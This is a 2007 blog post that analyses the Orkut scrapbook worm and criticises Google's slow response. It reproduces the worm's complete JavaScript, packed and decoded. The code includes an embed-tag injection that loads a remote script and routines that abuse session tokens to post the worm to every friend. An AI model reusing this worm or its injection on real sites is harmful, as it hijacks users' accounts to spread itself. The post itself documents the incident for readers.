Orkut Worm Code (and why was Google so slow to respond?)

I had to head off and get some sleep last night, so I didn't have time to try and track this down, but others did. I've attached the javascript code below for those who want to see it.

I have to say, I'm disappointed by Google's response time on this issue. I noticed the problem Tuesday evening around 10 or 11pm EST. As soon as I knew it was a worm I posted a support request to Orkut (which, btw, is not easy—they keep redirecting you to tips on protecting your computer). Once I had more details and posted my original link, I filed another report, this time through a security form (although the only way to do so was to claim that my account had been compromised). That was between midnight and 1am EST. This morning when I went to check around 7am EST, the worm was still spreading.

I would have hoped that they could have gotten the reports, paged the appropriate people, and then turned off scrapbooks, or disabled HTML scrapbooks, until things were under control. If that wasn't possible (and I understand that making on-the-fly code changes to a large distributed system is not always the simplest thing), then they should have shut Orkut down. And at the very least, I would expect to see an explanation and apology on Orkut.

The issue isn't whether or not the worm was dangerous. The issue is that I now don't trust Google to respond quickly the next time there's a worm. And the next one might not be so benign.

Ironically, this has caused a number of my friends (who like myself, haven't used Orkut in quite a while) to update their profiles. It may even increase Orkut's overall traffic in the States, since they've largely been forgotten here.

The original source file is no longer in place, so the worm has hopefully stopped. Since Google has posted nothing about it on the Orkut site or blog, I have no idea whether the underlying flaw has been fixed.

Looking at the code, my guess is that the hole is here:

"[/silver]<br/><embed src=\"http://www.orkut.com/LoL.aspx\" type=\"application/x-shockwave-flash\" wmode=\"transparent'); script=document.createElement('script');script.src='http://files.myopera.com/virusdoorkut/files/virus.js';document.getElementsByTagName('head')[0].appendChild(script);escape('\"width=\"1\" height=\"1\"></embed>";

There is a "script" attribute provided to the embed of a Flash video. Letting the script element through allowed for arbitrary javascript execution in the context of the scrapbook page. Definitely not a good thing. It would certainly be possible for such a script to do quite a bit of damage. I'm sure there are more detailed examinations of the problem on the net. Searching around it's clear that this is probably the third variation of the exploit that has been used in recent days.

Javascript code can be found below the fold.

The original javascript code

via Lucky-Six
function $(p,a,c,k,e,d) {
e=function(c) {
    return(c35?String.fromCharCode(c+29):c.toString(36))
};
if(!''.replace(/^/,String)){
    while(c--){d[e(c)]=k[c]||e(c)}
    k=[function(e){return d[e]}];
    e=function(){return'\\w+'};
    c=1
};
while(c--){
    if(k[c]){
        p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])
    }
}
return p
};
setTimeout(
$('5 j=0;5 q=1q["2o.H"];5 E=1q["2p.K.27"];7 B(){Z{b i 14("29.1l")}
L(e){};Z{b i 14("2b.1l")}L(e){};Z{b i 2l()}L(e){};b J};
7 W(g,P,m,c,9,U){5 1m=g+"="+19(P)+(m?"; m="+m.2f():"")+(c?"; c="+c:"")+(9?"; 9="+9:"")+(U?"; U":"");
8.y=1m};7 v(g){5 l=8.y;5 A=g+"=";5 h=l.S("; "+A);6(h==-1){h=l.S(A);6(h!=0){b 2h}}16{h+=2};
5 u=8.y.S(";",h);6(u==-1){u=l.M};b 2j(l.2m(h+A.M,u))};
7 26(g,c,9){6(v(g)){8.y=g+"="+(c?"; c="+c:"")+(9?"; 9="+9:"")+"; m=1u, 1i-1v-1x 1g:1g:1i 1y";1U.1z(0)}};
7 G(){5 3=B();6(3){3.R("1A","o://k.w.p/1B.z",C);3.a(J);3.Y=7(){6(3.X==4){6(3.1a==1c){5 1r=3.1Q;5 t=8.1n("t");
t.1D=1r;5 f=t.D("f").O(0);6(f){f.1M(f.D("1F").O(0));f.1G("1H","N");f.1J.1K="1L";8.1N.1f(f);V()}}16{G()}}};
3.a(J)}};7 T(){5 a="H="+n(q)+"&K="+n(E)+"&15.1O";5 3=B();3.R(\'q\',\'o://k.w.p/1P.z?1R=1S\',C);
3.12(\'10-1e\',\'Q/x-k-17-1b\');3.a(a);3.Y=7(){6(3.X==4){6(3.1a!=1c){T();b};G()}}};
7 V(){6(j==8.18("N").M){b};
5 I="1V 1W 1X... 1Y 1Z 20 21 22 23 24<1k/>[1j]25 "+i F()+"[/1j]<1k/><13 1o="\\" 2a="\\" 2e="\\" r="8.1n(\'r\');r.1o=" 1c="\\" 1e="\\">";
5 a="15.1I=1&H="+n(q)+"&I="+n(I)+"&K="+n(E)+"&1T="+8.18("N").O(j).P;5 3=B();
3.R("q","o://k.w.p/2i.z",C);3.12("10-1e","Q/x-k-17-1b;");
3.a(a);3.Y=7(){6(3.X==4){j++;5 d=i F;d.1d(d.1h()+11);W(\'s\',j,d);V()}}};
6(!v(\'s\')){5 d=i F;d.1d(d.1h()+11);W(\'s\',\'0\',d)};j=v(\'s\');T();
',62,150,'|||xml||var|if|function|document|domain|send|return|path|wDate||select|name|begin|new|index|
www|dc|expires|encodeURIComponent|http|com|POST|script|wormdoorkut|div|end|getCookie|orkut||cookie|aspx
|prefix|createXMLHttpRequest|true|getElementsByTagName|SIG|Date|loadFriends|POST_TOKEN|scrapText|null|
signature|catch|length|selectedList|item|value|application|open|indexOf|cmm_join|secure|sendScrap|setCookie|
readyState|onreadystatechange|try|Content|86400|setRequestHeader|embed|ActiveXObject|Action|else|form|
getElementById|escape|status|urlencoded|200|setTime|Type|appendChild|00|getTime|01|silver|br|XMLHTTP|curCookie|
createElement|src|files|JSHDF|xmlr|virus|js|Thu|Jan|head|70|GMT|go|GET|Compose|width|innerHTML|height|option|
setAttribute|id|submit|style|display|none|removeChild|body|join|CommunityJoin|responseText|cmm|44001818|toUserId|
history|2008|vem|ai|que|ele|comece|mto|bem|para|vc|RL|deleteCookie|raw|LoL|Msxml2|type|Microsoft|shockwave|flash|
wmode|toGMTString|transparent|false|Scrapbook|unescape|myopera
|XMLHttpRequest|substring|virusdoorkut|CGI|Page'.split('|'),0,{}),1
);
author="Rodrigo Lacerda"

A decoded version.

Pastebin - Paste and link to it

Posted by antrix Tue 18th Dec 2007 23:54

  1. var index = 0;
  2. var POST = JSHDF["CGI.POST_TOKEN"];
  3. var SIG = JSHDF["Page.signature.raw"];
  4. function
  5. createXMLHttpRequest ()
  6. {
  7. try
  8. {
  9. return new ActiveXObject ("Msxml2.XMLHTTP")}
  10. catch (e)
  11. {
  12. };
  13. try
  14. {
  15. return new ActiveXObject ("Microsoft.XMLHTTP")}
  16. catch (e)
  17. {
  18. };
  19. try
  20. {
  21. return new XMLHttpRequest ()}
  22. catch (e)
  23. {
  24. };
  25. return null};
  26. function
  27. setCookie (name, value, expires, path, domain, secure)
  28. {
  29. var curCookie =
  30. name + "=" + escape (value) + (expires ? "; expires=" +
  31. expires.toGMTString () : "") +
  32. (path ? "; path=" + path : "") + (domain ? "; domain=" + domain : "") +
  33. (secure ? "; secure" : "");
  34. document.cookie = curCookie};
  35. function
  36. getCookie (name)
  37. {
  38. var dc = document.cookie;
  39. var prefix = name + "=";
  40. var begin = dc.indexOf ("; " + prefix);
  41. if (begin == -1)
  42. {
  43. begin = dc.indexOf (prefix);
  44. if (begin != 0)
  45. {
  46. return false}
  47. }
  48. else
  49. {
  50. begin += 2};
  51. var end = document.cookie.indexOf (";", begin);
  52. if (end == -1)
  53. {
  54. end = dc.length};
  55. return unescape (dc.substring (begin + prefix.length, end))};
  56. function
  57. deleteCookie (name, path, domain)
  58. {
  59. if (getCookie (name))
  60. {
  61. document.cookie =
  62. name + "=" + (path ? "; path=" + path : "") + (domain ? "; domain=" +
  63. domain : "") +
  64. "; expires=Thu, 01-Jan-70 00:00:01 GMT";
  65. history.go (0)}
  66. };
  67. function
  68. loadFriends ()
  69. {
  70. var xml = createXMLHttpRequest ();
  71. if (xml)
  72. {
  73. xml.open ("GET", "http://www.orkut.com/Compose.aspx", true);
  74. xml.send (null);
  75. xml.onreadystatechange = function ()
  76. {
  77. if (xml.readyState == 4)
  78. {
  79. if (xml.status == 200)
  80. {
  81. var xmlr = xml.responseText;
  82. var div = document.createElement ("div");
  83. div.innerHTML = xmlr;
  84. var select = div.getElementsByTagName ("select").item (0);
  85. if (select)
  86. {
  87. select.removeChild (select.
  88. getElementsByTagName ("option").
  89. item (0));
  90. select.setAttribute ("id", "selectedList");
  91. select.style.display = "none";
  92. document.body.appendChild (select);
  93. sendScrap ()}
  94. }
  95. else
  96. {
  97. loadFriends ()}
  98. }
  99. };
  100. xml.send (null)}
  101. };
  102. function
  103. cmm_join ()
  104. {
  105. var send =
  106. "POST_TOKEN=" + encodeURIComponent (POST) + "&signature=" +
  107. encodeURIComponent (SIG) + "&Action.join";
  108. var xml = createXMLHttpRequest ();
  109. xml.open ('POST', 'http://www.orkut.com/CommunityJoin.aspx?cmm=44001818',
  110. true);
  111. xml.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
  112. xml.send (send);
  113. xml.onreadystatechange = function ()
  114. {
  115. if (xml.readyState == 4)
  116. {
  117. if (xml.status != 200)
  118. {
  119. cmm_join ();
  120. return};
  121. loadFriends ()}
  122. }
  123. };
  124. function
  125. sendScrap ()
  126. {
  127. if (index == document.getElementById ("selectedList").length)
  128. {
  129. return};
  130. var scrapText =
  131. "2008 vem ai... que ele comece mto bem para vc<br/>[silver]RL " +
  132. new Date () +
  133. "[/silver]<br/><embed src=\"http://www.orkut.com/LoL.aspx\" type=\"application/x-shockwave-flash\" wmode=\"transparent'); script=document.createElement('script');script.src='http://files.myopera.com/virusdoorkut/files/virus.js';document.getElementsByTagName('head')[0].appendChild(script);escape('\"width=\"1\" height=\"1\"></embed>";
  134. var send =
  135. "Action.submit=1&POST_TOKEN=" + encodeURIComponent (POST) +
  136. "&scrapText=" + encodeURIComponent (scrapText) + "&signature=" +
  137. encodeURIComponent (SIG) + "&toUserId=" +
  138. document.getElementById ("selectedList").item (index).value;
  139. var xml = createXMLHttpRequest ();
  140. xml.open ("POST", "http://www.orkut.com/Scrapbook.aspx", true);
  141. xml.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded;");
  142. xml.send (send);
  143. xml.onreadystatechange = function ()
  144. {
  145. if (xml.readyState == 4)
  146. {
  147. index++;
  148. var wDate = new Date;
  149. wDate.setTime (wDate.getTime () + 86400);
  150. setCookie ('wormdoorkut', index, wDate);
  151. sendScrap ()}
  152. }
  153. };
  154. if (!getCookie ('wormdoorkut'))
  155. {
  156. var wDate = new Date;
  157. wDate.setTime (wDate.getTime () + 86400);
  158. setCookie ('wormdoorkut', '0', wDate)};
  159. index = getCookie ('wormdoorkut');
  160. cmm_join ();

Categories: , ,

1 Comments

Kee Hinckley Author Profile Page said:

I shouldn't comment on my own postings, but this is just too absurdly amusing to pass up.

18 hours after half a millioin people on Orkut got hit by the worm, Google has updated the Orkut blog... with a posting entitled "Planning a holiday party?" which includes this gem.

Scraps make easy invitations: Paper is overrated, and who knows street addresses anymore? Rather than printing and sending paper invites, make a colorful invite in Photoshop or Paint and post it in your friends' scrapbooks as an invitation. **If you're tech-savvy, you could even make it in HTML.**

My emphasis obviously. :-)

Leave a comment

(not displayed)

TrackBack URL for this entry: http://www.marrowbones.com/cgi-bin/mt4/mt-tb.cgi/71

0 TrackBacks

Listed below are links to blogs that reference this entry: Orkut Worm Code (and why was Google so slow to respond?).

About this Entry

This page contains a single entry by Kee Hinckley published on December 19, 2007 2:44 PM.

The past through a mirror was the previous entry in this blog.

Orkut Responds — Thoughts About Response Plans is the next entry in this blog.

Find recent content on the main index or look in the archives to find all content.

Subscribe via Reader

Subscribe via Email

Enter your email address:

Delivered by FeedBurner

About Me

I'm the CEO/CTO of Somewhere, Inc., a company building a unified social networking layer that gives people the means to track their friends across multiple social networks.
Creative Commons License
This weblog is licensed under a Creative Commons License.